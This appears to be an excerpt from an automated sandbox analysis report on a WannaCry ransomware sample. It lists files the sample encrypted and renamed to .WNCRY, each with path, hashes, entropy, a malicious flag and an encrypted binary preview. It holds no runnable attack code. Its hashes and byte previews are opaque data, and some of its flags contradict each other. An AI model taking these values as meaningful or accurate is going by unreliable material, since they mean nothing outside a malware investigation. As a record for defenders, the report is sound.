                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\AppV\Setup\OfficeIntegrator.ps1.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5256
                                                                                                                                                                              Entropy (8bit):7.960559642818744
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oRttMDVm0e2Ka88fwxjU68ar7i+bfcgYm4T4IbQq4MXnDLk:gttMDVhe2Kt4parBER8HMXnvk
                                                                                                                                                                              MD5:A15C9B15215BE1E4E37E5CA7014B0D25
                                                                                                                                                                              SHA1:4A65BE8232BE6917C76F48F9D0D430194AA35337
                                                                                                                                                                              SHA-256:7ADA480143133F4BADCB236B8FFA30AC6D9DEA58588CB1053AA70F83AA1F8756
                                                                                                                                                                              SHA-512:5C0BDA08E5E397448F5BDC750CAD826D1B85F47DF691D1D79ED09CE9978097EFF229F356D023DD422A96B41369C18BCE04664B0574F1C2D8E656C72C39F7094E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....'"Z.4..l.<KO...9....Q.R.i~........|.J..s.r. .hqA...s.e[.{L..^ t.,_..\.dB.n...O........h....2..ej.....)`.7.0...>:2.w....fW.kd...w}..K2....$$.T*q.X^......?.S..$<.....>.9...o{..%.X....B.svt...."K.B0|.....L..e.h9..,..........g..i...J..l.{q...w...z....h.......J.m..........eH.sl.*..P..T.....{>.O..<.]. ..."3.K'..F.....L&..$....w..Y.....Or.8...}1w.?......$0.7......#..M...........d..j..<f.....$.d.M..$...0".6.....p.T&rp....-....:#...<....h.5n2........5u...,Q.O..`".w....".....G.*.`...Z.ce.........^.c.NP.v'....}..l....X<......`....Z.....w6....OF........njg.I...../..M2z)....~.C.....[..&J...f..L.@.yu..V.7...3R.<.+".B%..A.....$%..vTB.kc.W.S;.....{e.-]....&*.l...+.M...A.........z/.e...'....._-.=}...$....L.........E..4.3.}6@@.}mc:_...U_Bgl....l..]....($.V..^....8....96......G..O+...+..V.l..a.Q...i....7...!..p4.-/3&.....H.....>N.Z...M...9.......O..ae.7......../..TS^..tJr.N.Y.....1..N..n.O....]1...o.D..u..y.i$?....F..FB...E//.sr.6.........A..@.n..

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\EventStore.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):106776
                                                                                                                                                                              Entropy (8bit):7.998153238817826
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:WfURYiIlm3NYUke3tl+rWg1V9M6UVk8MFzO:YUuib9TlCrH7iFPazO
                                                                                                                                                                              MD5:E7785E0B9BE8D52AB449699FD9E8D593
                                                                                                                                                                              SHA1:6E4D6CDF3BBA043D46BBB5D8F24F62C7ECB94B7D
                                                                                                                                                                              SHA-256:820A7C7DE9838D233DFE79B4110E8B11853E1379D582F2EA08824C8D497FC422
                                                                                                                                                                              SHA-512:25846DFA2F8C92E4F1A465ADAEADF3911894291F5446F944DF42C6D86F88C02D886023C7A18B0D77DBF3A31BFC4315C1AFD973A273F582C1EB862ACE2E947F10
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...."..=.S....f.....qfN........?....L'.:.c..;.?.y......B...7].#.Z..........4..<...|..X.B%.2x.x..K.....j.....X........;&.YVRV..r..(C..$..9tf.WC....(#..4K|!.fE.T..D..?..C<`.6_..,..9.?^6...hob..0.z[.#....dc...c9g.O..~....#e$E<pe...V...o.6.....c.i...............j...[..I.......Yb.M.jYr.m......Xc....!..!..........%5...7...:..c).....a....3..Y:..%..C.N.'n...^na......=.....X.E...&......6.Q.0....F5..g}.....LTw.b....l<.*+.rd...^.4.<.....%..Y.&U.nz\G.;x.dq./1.a.I...h..dGh9....\..0o...c...l.R..M.%g....K2A.:.L..-oO..3^.|.6-.....N<.j..a.AW.."......31;..6...C9.._.@oj..C.y2...}...y.R-..P...9...'..>!........_.k.(....6-.1B:j+.p...k\..6'..gq"..].|6..S...&G....M....gd.d.$.3...|U..0..x.m.i..I..d(..c]....I.j1..[..^.%.w.Mfl..K...;..i...u..j.V.g..OC{.4H..."....}.W..a..Sy....A_.{|m+......@.....J...I}.....2.cu....Y..$y6T6.....""..VM.n.+.w..D..)....C2..*..\$'..H.CH|...>......}..p..\8..8..]....Qv{.VU&|..yV.<.;.g."..3Ih...13..i........r.'..F...[{v.....J..)...

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\guest.bmp.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):602456
                                                                                                                                                                              Entropy (8bit):7.999688258958353
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:bcbiFEJ/XiKzzBhF7OMlrJ8ZFZtn8xsBlCH8HL1ltR2VLckDUXASM:bQpkqBP7h98PZtn8MlCH8RRfkDWASM
                                                                                                                                                                              MD5:893D51DF0ACC81D10DE42722CE2B8ABE
                                                                                                                                                                              SHA1:86840E80805667D430F67F713C7CE5669CFF4213
                                                                                                                                                                              SHA-256:12800CA1C022843FCC2F653C658EE169BBC03D745DCE21DD2B6B5D51A7619383
                                                                                                                                                                              SHA-512:2AC9FA4A370DACE5C4A0825C3A39786C2B5B1FFAC837BFA0F1430E9A92F6F258AF59F1A4A544B397A3E36546B3AE4BB1AEF2B2BF526918C5CC10D20852C361C7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....yB2l...5^...oI......O.yK..S.W....;...;.AT..g...\~&........F...Tz.O2..eg..?l......g.. m.ot.Ys.6Ymw:E.k.>(<..9....Ts....c`sbm....y...c.........ya.]...I.f.k.=.L..8...s..4>.d.&..4..),].{.,=...o...4..g..j..5.%.ei..B...O...D".....tl..q.m^....@TVi....80......y....$...F..........L...3....l}K.\.;m^t.=.......n...y....&.'e...(D...v}K....p..BD.....T..7&.-.......O..p..^...a.....+ne......qx":=.........n.......\u^.[%...L....3f.:...$.R$-...ii.!F[z..I....0.e....h.[...{{..!./Z.L..]*..aUh=~b..S.o...6e...-..ZB.].Q".....k.g..4^...r..!.m.F./.+....e.-..4!.@.c....nL.......K...6..e.V.1....9..~~...h.;\VU.$.~.*....;.H.St.+...aUI.....KCNk+;W....q.....u6.......>.MOUz[.(....)......c.(Q...b..Ee.d..5......<......1[P..*..............|i...: .K.X.^....e._.?.6>...9.M..W(..Xv.....-.(. ......tv.<k...\....Q..........&.>#F...Oq..^.@.?...>...3....~.|3..X...U.r..(`..cag.G....tu.y...*.....P...xQ\l.X...R...(..V.........I=......[.b.....3.c.Q..S.....0..&.....{..._.-.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\guest.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):6344
                                                                                                                                                                              Entropy (8bit):7.968244363917563
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:L7VXn77w96lcTDMd/Tg5b18t2V94rEmVyXjKEc:1X7w6GTQdTztPVVyXjK/
                                                                                                                                                                              MD5:54FFBF18545FC92FEFF3A16A4253FF17
                                                                                                                                                                              SHA1:95856ADFF55DBABD6A8F50812407130260594733
                                                                                                                                                                              SHA-256:B22F9330F4A9EE73256FCD230375E262B0506647BA9DEC206B01DC6A2D10FC79
                                                                                                                                                                              SHA-512:786DF828D7A822C49AA3C90031FD9EC972E88EB01761214A37494F47A9B99F5657BF45B1DEF8835F3CC8502DF9C45ACF8415AF4846A15853A939B684D4D4496B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......rA.k.e<^mG.2.........\....^]Zd>....x..[9....S..J4...^.4.q}...U.Y..oe...x...*r........L.P6w1.p.p.......+v..6^...Q}.7.|...>..]..7.q.G.:....{..srR=.=.z.g.....}.,.=..g~..3.s<..N.x....].o......zy.._T.....2....i.....].j.[.m........u..(.....Z.E+................<.. .b.T."1..'..S.=5.J....]4..52"&....(h=.ve`v..L...l...lNU..6..$8..q`x........u..8....n_{G#RS1|.D..2i)uK....9J.....f.@...|..P.X|I.+..8p...Q...eg.....l..b.)*.2..1g~I...>u?...3:%,tR.&{.T+.....I..J.|go.*..J...e...LN....$.5.^....^..l1..W....s.V..^.."r..5.z^7A.%rOk).8S...h.".0.O.K...TJz"....x..x.......P....\5.....A. ."....R.....CP..CS.fO...r...h..D.....he.V.C\.}......s....\...n..s]......Q....V.B/...<..w..U)]n1....X..jQ...5n.....b1....q..k.j..9"m...]..(..`..,...-4.x.g.Jk.JI.......{....9.Y........4.......+.....\3.......C........_.(.v...{<...I.......=.A....g....W...VucS.....p-........F......}~......H.2.qM!. ..}.....;...a....<......^\5..E.0..].N..y....t7r.xH..b3JC.9rb.kCU.........)

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user-192.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2680
                                                                                                                                                                              Entropy (8bit):7.920201102760568
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkcRPRPh0GKpozBII8jhMC8haQ/4Trz15RjgC7DDnTtwviBpLJzq0IBJs5bR0:oc1Ri+ehjsaQgTrzv5PDTtGiBjzg65b2
                                                                                                                                                                              MD5:31ED81B09C6452D6F0FF7E9968B5CCB1
                                                                                                                                                                              SHA1:AC8640F3D1A25917FDFD7FBB7E37853D28628537
                                                                                                                                                                              SHA-256:BD7118BBF0ABC45DAE6B5B8D0427073F5689F0FD7314A76181400853987DC936
                                                                                                                                                                              SHA-512:CE2D04BDCC25D3390F2647FAB03CE2B29FF348326635835CC6D959B792370D7D346B2F6FAAD2A88B153A709DE0E35566671E12F382DFDFBBCAA0BB3B98BA81DC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....9. 9.."...<........M...X.Sz..q.E..b.i.....3v..J..GDw...&+<..U.......1.!.d...........16.*"./...m...9..h,'R.`60.....5x:.o.8@dkK.L<.h..=.<..)..../p.X?:.>.>....O...j...o..J..f.H....2..G...aR>........-[.O...P...".>v*....EUt)*..L.x)...g%.}.....C..e....X........4}...~;..,.0])...F...z....<>.:..6<y.G...Y<...9bR.<%j..C".....n...5.;..Z../.........e..o.r..^..l.....q.O`..._..'......c.(X...}.W....h.m......._...*..w-N..l,...!.....Y..'.Y.l...O.$..'.E.<(_..Z......c..t....T......icY.j......_.*.8...&jro......^......ZG.y...Q.=o>.I.3.{a.g=...l..n.sPeYE...H!...JlM&..UE..:.....\@KN8>....&..{.`......Vs."...YkF .7..6.UO.x.*`..l....eB%z>.....L._F........b.t...b{....fK.2?.4.n..+A..c.e.aP..j..k._.n..}.Rb...qk~..2![....7_.b.3(\..i.]s....'....n.y.:.Sy...qt.]....U..$..k'..l.Dv&.?.....$$.(....A...+...G.E.+*..D2.....e.J..i8.w.3..R...M.G.Y6...F;&.<O?.......0[..U.....e.<..qN.jv.O.x..L.qW.....HN..J...O^....\...<...-.."+.g#........cj....".,N..`..1..Y.i.H

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user-32.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):728
                                                                                                                                                                              Entropy (8bit):7.737302641714079
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEMEIVRB3Ec9IsMASSDVi5sCrIoWf05d4oTDKSQJUKu2QdsHakoS9nOoJd1eQWn:bkxEIdEcSvShiWCkL8L46Kwr2GqH91e1
                                                                                                                                                                              MD5:0B6F70868D6705A7C81294532CAE0857
                                                                                                                                                                              SHA1:93CB9CF888EEDE151B35CC568B1EE3EF40E5D8B6
                                                                                                                                                                              SHA-256:F0D541C350AF5502FFAFB0963B5AADC348E1D0A17053409BA53BC4519D1BCB2C
                                                                                                                                                                              SHA-512:A1B06F32E63DD210161410F7AD7CC9C0088BCAD559CD4D92A9CB58EA63190277BCEBC2F10C37DCB745ABF95CD1DB6B856A60EEDB7F122A6DA3EAAC5D595A6177
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....W...F"1[........0..6/...j...Q..w3.:......?.g.p....Vrm4.)3...3..{..V....... .............._>..I.5..".bW.~...fwh$}..~.0,..v...8..jE....Uu...Qd...={z.P....a .l....%....$......?..g.....V..[.~..1.1....0...3.j9Mbs.a.Z......N..~Fu...K`.}.3d....{.............^|0...a..N..u..BL.M.O'...@...P.-.[G..h'..r.4...=...XC.....v:..q.ORCT....$si>...v.>>...+P...IJ.!9.....a2.|5{;.XW...D.t*...~.q..;...K.........N..Y.4.r...4...].'.d..........dK.d..LW..^[......lt|..}.L[A..Do.X.......!...?..V..u......}.d.30....,i......,..-.E...0....%....P-.R.]e...7I1..X}.;%$.EA......8...e...uL%S.;...XU. _.$.yx.~k....E7...../b..........vR0..S9.0k.n.H...........8.`]QQ.....rB.P......4..N.(...eG.J..n.._...Iu..(........

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user-40.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):808
                                                                                                                                                                              Entropy (8bit):7.711354521544557
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkv1HvXsycRW4LjiKhYtTQOmd3bkgVLdX15TZCGk:bklsycdPRyTh+hHT8Gk
                                                                                                                                                                              MD5:7492B17E520C04D6C1071FAFDD0972B4
                                                                                                                                                                              SHA1:A109E8D989F94A378DEF17B9E7037B417F2D3BDA
                                                                                                                                                                              SHA-256:99CEA029379F200865AB87CB7C339A1DCDE5D627B987A0438C696237B065BBA8
                                                                                                                                                                              SHA-512:D87827AEB9A080C0FD023406E742581D94DDC37FDEAF07589B88A022F6747E9B36707EDD76BCE0402C5477537D37AE833FB7C3C6E56A82636687D5A84FBF3C57
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......p:.."....\..@.s..h..-O$e...z...P4dX.3=..2.nuB0v<k.=..w.\Z.2.a..F.l........kUA...U..+HD.:0lvQ.2!..tXRe...z0..`..M..&W....u+B_.P..F.l.."...Y..&...i/z.K}.^e....M............J.x.#,d?..g....B.CGp.`.".9....-..G.lY.4.q..Dp.-'..].2..A.....f.~.......fYx..............I.Y.?..j.\....~......L.t..J.L.B~.vz..p.JD.R.%6..(g6\..a..z.WP...H).h..$o.........hs)O.Y..,PN.{!..F...dN..._....=q...S.....j6.T.0s6:.A...IC.[...BPEu.,.....^k.]..]d:.&pb.w...;n3 ..l..T....".;.".T#....N:.2.6blg.r.......+...Z`...z...+:o..6/$W.1.......D2..7..(;.2[.H.c3#.........1A.!..:N...@$Mu..uI.G.........y..........L:!.Od.... .Lu..K..29.lQv.C..%...O.l...f. ...|..J..f{kn...,.|.Rh]m..=...<.a."W.X...dG+i...K..A..Cuw.-w.U.5.8K.K.R.o`..n).r..;...c..`])8..J...UX..<."3.?iB.r....8.{H...g.P`.z.....Q{

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user-48.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):904
                                                                                                                                                                              Entropy (8bit):7.776666553012052
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkBVP8WJYnfZN7qw4KVc61E/ftpBakxWKr/:bk3UmwfZIw3Vcl9pBakxvr/
                                                                                                                                                                              MD5:00B4B3FC2B78000BB80CE5B8114F7891
                                                                                                                                                                              SHA1:B2FF1F702016010D7C98788755820A72AA2FA359
                                                                                                                                                                              SHA-256:6E37FC9CC9F4C2D39F0F2DE3D5B51033FB3C763EFB6CC7D43E17424D99B1389F
                                                                                                                                                                              SHA-512:6F422EAED87133D7723A486C594B7FB32BA505E2F226D3D774BC4714500CBB44964996F2BEB2C92FE06EF4AE75674A2F870B8C969B0622A06A3365C18D507123
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....=..]....\... C...wY.....:\....d......w.../.|..w.l..A.1e...=+...~PTn]..zSl.....*%W.A(.......:..>..tm......(..#.F.a5...(...X..px.."^....Q./.....)...;.....W.....bI.K.....Z4.....>.x(...0.8.Am`g..4.m0.....G.n]]u..h.-8Kzo.._!..0..1Q...R..."L.].v..;.....i..........$......X......k.N......F1..{..-...G.ZD8....RO?....7..l.<,..x..o.....Q...O.-..44=..-.......u0..Q....w..d$R7'..k.N...v...U....P.K.qSk..N.Cx.......X.X..$=..:.x...R.{!<.-...}.].Bo.......L6....5...=.tg.9.:-z...S...z.......?M.p...NV.p.......'..\S..........3|....V.....\.:R~......F..Off@p{;k.l.../jh.G6.O..8xa.T(..Z..y,B..e.....N2vs.Y'.y.e..._<x.A.....[.c...C..%p?<e!...$XjG..U..G8r.l>.h.C/TD.Q....N....c.."|.......c.8.7.;.p.1..........X.......N....m..>vH.~.0.Y........S.3..6..v...'t.E...S.7.P.U.(6-./..?[V.IN......E..s,..TZ.j.*+....0....7.].;m`..O..y..i2. P..a'.&...e.....2....wKc.....

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user.bmp.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):602456
                                                                                                                                                                              Entropy (8bit):7.999675979370092
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:L2rW2a7CefMFQY4zzu5vstBqcj9XCT0Vxvq6FkqsCPDAEJ+4qOLfVYr8zofVC/L7:WWcaJNqoXCT0VRIqs+0T4qOLqYMc/yA
                                                                                                                                                                              MD5:A5BFA4E5660735C6B6C86438FDFAA808
                                                                                                                                                                              SHA1:4530BA15E8BF0503B7045B279E3C298D8B1AADE4
                                                                                                                                                                              SHA-256:0CF51D327581ADBDD1B8F5D1716DE7354FDA0949E711D6EA84610B40BDEECFBF
                                                                                                                                                                              SHA-512:40B0CCBCEA70D239E9D56CC0895EFFEB80E5C164D9599125B5F6F40706480930396DF118EA45666A4CF0071647DFF09AE8B8F807E3F128B10835C23560AB4211
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........+k.bN......j.0]..%...P........G..m.{.u.j...E..5Y.O..y.48..F.en......'..PJ...0...L..g....i.x./....w.3..5...u<J...QS.........Zc+.?.8.0.@.7.p8..m.}.Q..F....b.{.gu.K..oSX(....x.........3..Z.Y...!3..#..!:V.zC.<#Z(7.q...f.>.*>....h....v.+Mo...\.l....80......}L(a.....V..3...j.e<b9.R....x.....,u......n._.lehyG8..`o......g......./..^.a....h^.C....H.H...M..l.K(.<....T.s.ta%B..c7E.?r..4.../...s.W.X.`..AveyJg.'. ..n:.=..E.y...+.Wb..R}=...A.-;H.....'./.R.......v.C.C..=.l; .).h.x.!...<P^.=..`q..(X...}...Y.a.`\.q#,.X.{!...b.(u.cD.<.....F.0..`.0u.X.!^....0..."..(..o....q..\dy.<...q.^7|eJQ..( .L..D..\.(....J.y...O..,u...JX*..+......?.}.(.f....I....zO.j..@q.("...1. .....!Y...`....3..>Ih./..<)y|H.. ..ij..a....SOV..7.4^........m......?...4X.-K.=.ji.f<O.(.N.*....d...`..~f...B.T[v\...'.M.:..L....(L....^7(z./..........6J...B..`g.S.=c.........../gH.r._.U....T.O..OF,ZX.:(....F..7I..h..l..9....*'%v<...{>.d..Y...C&..#+hC.k4....B@....jYN.xn`.....}.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):6344
                                                                                                                                                                              Entropy (8bit):7.970010563692443
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:o8dQK5oZtWNBJefIqTsmQJ0yC25KfFQUrpSCqnvvciAlH7OIF/SRe3EGAtUhQn/o:GJZoNW255KdtrpSHvvKbxz7wUh2IL7
                                                                                                                                                                              MD5:694D9BC91824BF8859067BBFF6329A5D
                                                                                                                                                                              SHA1:1071423BA9B0A70E7EA2CD05066CABF0B53BAB49
                                                                                                                                                                              SHA-256:A4F0155AEA976A9940E4295E2012F8E464411627081DF94CAE05F85FD174CDC9
                                                                                                                                                                              SHA-512:0EBF3DD8E7D70C265BAF92D1C0505E8C42FEF4313422AEA3F975092E695E5401D0F3807F3B94B40649F47E6F98C335F87EB28F494AAD59F62A3C0FA95526778C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...........V\1V.....N.....4...+.a$LA....f.1....h.._oV..0.g..0p;..t..1h.^.E.?.h.C..{...I"./....D...U....Zc.?./}.3Rr?7.....s.j.K..y;..`.k..~...V.`.........Q..._2..4*...k..S..Q..Z.+85|..J..6.jD'....%..Z.F..oy..2v.t..L..).9....6.....K...W..j............../.#V..`Jj|.8.q/....[..B8.b.c......<-~...E2....8?...U..4.........|..8@.e.......o^...C}....W;.J.j;.o...~........c......y.........F...C..g\u...1..J......../..Xq...e+...a).L..gA>.,..$.+..@f.)..}i..".)...C.i.2.?C....Uo..b`,..g..\$..eY.l-......}....l....}.....q...>.nj.:.zVco6.F.....%.Yx..'....g..M...O.....+...qI..l.k^....TP<.PM.s...........+3..lk|N..B}.{..Ka.....OY.?\..q...6@..?..V..P.V...z..... .F.,UN.#...01.j...}..<..kb./. .X....d...n....V..9........b.L....r.).....!.f.{.B....VE.....l.a&9bj..U..7...j..w'6*..x...!.R.2>R...A(. D?9c.J.@f..6...U...4.i....J...62#...8O....(.....:.F...m...!....fe.&;.....v.4.LU...t.b..+A^..C....?\.`....j.....1=.....p-.i.d.,|e.. ..s?.>l\.G.........`!.b.>

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):553240
                                                                                                                                                                              Entropy (8bit):7.999678952583198
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:oAf3iqo1wSPBJPq08YOiuJ0E9Kt6WXEEyjdzOmavhbe:r6qoXBFevaEktAPRz81e
                                                                                                                                                                              MD5:E0CEFE768530EBE09140AF12C628546F
                                                                                                                                                                              SHA1:623D877C269ACBFA9152E9A57C627A243224B1F6
                                                                                                                                                                              SHA-256:05E60F69DB10A173C0EC840051C2335F2F8AB48EB4F8089FA0D5874873424F55
                                                                                                                                                                              SHA-512:343D6CA62542306BD88805DCFDCA47B2CD4A3710388287AE76D841926B11CD20F6273A4AA835952BE26A262AEA3F9D6D9A7E27C7097B78E20685D3B8657D950D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%.=...S..Q.....k.Q.....t.P.Y9.j..q.....;..$....UA..qT....8..0..[:.6.@..oY.dv.....Z.r\..y...-.v<60s.y.V....R+.atZ.F.;..g7.....l..........MXx.[.}e.d..uB{.Kq}..?^.........7. ...).e..;.....|9{t.Q..).:.t+....l.W.q..Ssl%7.(..........w....&.h.....$.....p.......T.F_;RH....$v@.~.f......1s2.W....m.Q^...k.2.$?..k.i.4.*/.2...g. .=x.gK.R...<.z',W>...... .\.=X..........B..'#r...;Y|I.o.....c..|..1.'y.B...p.j[.......H..t.f.).h...L.bAM..,.I.g....o.2.i.VE C.7.s.z...n,.?B..7..t.0.H.).r......^P...?...=.P....F.r;.. ...1..7....}3...hdI.g.....F.>#.L..)".....1..SL.Xr.r....B.V...=..^U.|....8...:cZ.b.%..i&Np.....W+.cp..]..Ev.(....\.iP.......(|L..4.#..Vt.'....|Q.9..8......M;.T...d....D........4.Q..n.M......a0[...l.wFDB.(.@......w.k....7.5Gt.w.c.....UB`..2.HW?.n4..[2.'..9.......z.-%u.w&..j.Y.S.g......6.:L{.....B...4...mrt......Hc>.|..u....<..[.{d,.t.u.K..mk..E....?0....PO..'/S.q....57...E..=4`...i...>..c60..-.A.G5O.. ..T......H.7..#kww....c.A}.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):516712
                                                                                                                                                                              Entropy (8bit):7.999648105978089
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:oEfB8q7Ns338ehaZLbzeKUD1PmY/vHlfZ96RS:oA97Ns338yaZyTH/vHM4
                                                                                                                                                                              MD5:93227FFF4EA162A0D8231D32B698B9E3
                                                                                                                                                                              SHA1:D61E7F1F99177086ED324193E762D0676F864FC6
                                                                                                                                                                              SHA-256:E0E4581A2C2C688EAE77C2C0913D835AA428FA71E4A78144DB25E7C982F29256
                                                                                                                                                                              SHA-512:7276E22DE404CFE9D66BADADF88132A56981C7CD98D0FC453A54805088E375F2D095A71D9761C61EF07D394CEE03546D0175680FB4F5F0B2973E120F5925FC11
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....t=ns$.m./...P6.;..f...i..q...J.....R..Ce/....Uc.(:..H.:..&.e.....d..oR#..a.I...].1p..p..PBO.2.._..V....6.+._x.pkNC:......R.{.i...O....S|........S..lH..\..=;g.......[4..."l..>...}*../....~...T.....@|A..[..6...*..QTi..c...}..0|.R....F.bw.L.Q.......H.......;......b...;*].).;..v.0._....#.w.]J>}.L:O.5....%...l.\...*p.OG .N...#..<./..I..{..{g...F..Le.`,e|f{".......^c......r..bod.......@.!.D..~u>d.o..t3.3*........%.w.+h..n@....<..H....."..0..c.E.^.V.n$....v...T!...3"*sU....V.}.(].....q.....[...9....f7.t...>..;o..0.4.8.aK......6=..+..D.U&F...KKK.X..#Xi....s....}.c.vn.j><V.....={L#.V....+/5L.xow.dm[.......\..a...+..y.4.8.y.#~..i.....-.)Kk....|..nS7>.3..U9Vr.l..,.;..:..o.#..).....(8..A.>fCm1.|.........pT.)#...;..Z^.h.A.V$..UF8..8y.+...X5.....^.Ewa>j........#J.z...mF..O.8.'...i.L.JmWk7.......q..r...To....t@z.W...b.g...547G.Q...0....B..^.g..../p!...>.mf.t..U.]..`R.b.x.g......1<.Y.0.AyA..'...-..m.z. .Q.......a...6..#.L-Qm.O}.j..r4..

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\cversions.2.db.WNCRY (copy)

                                                                                                                                                                              Download File
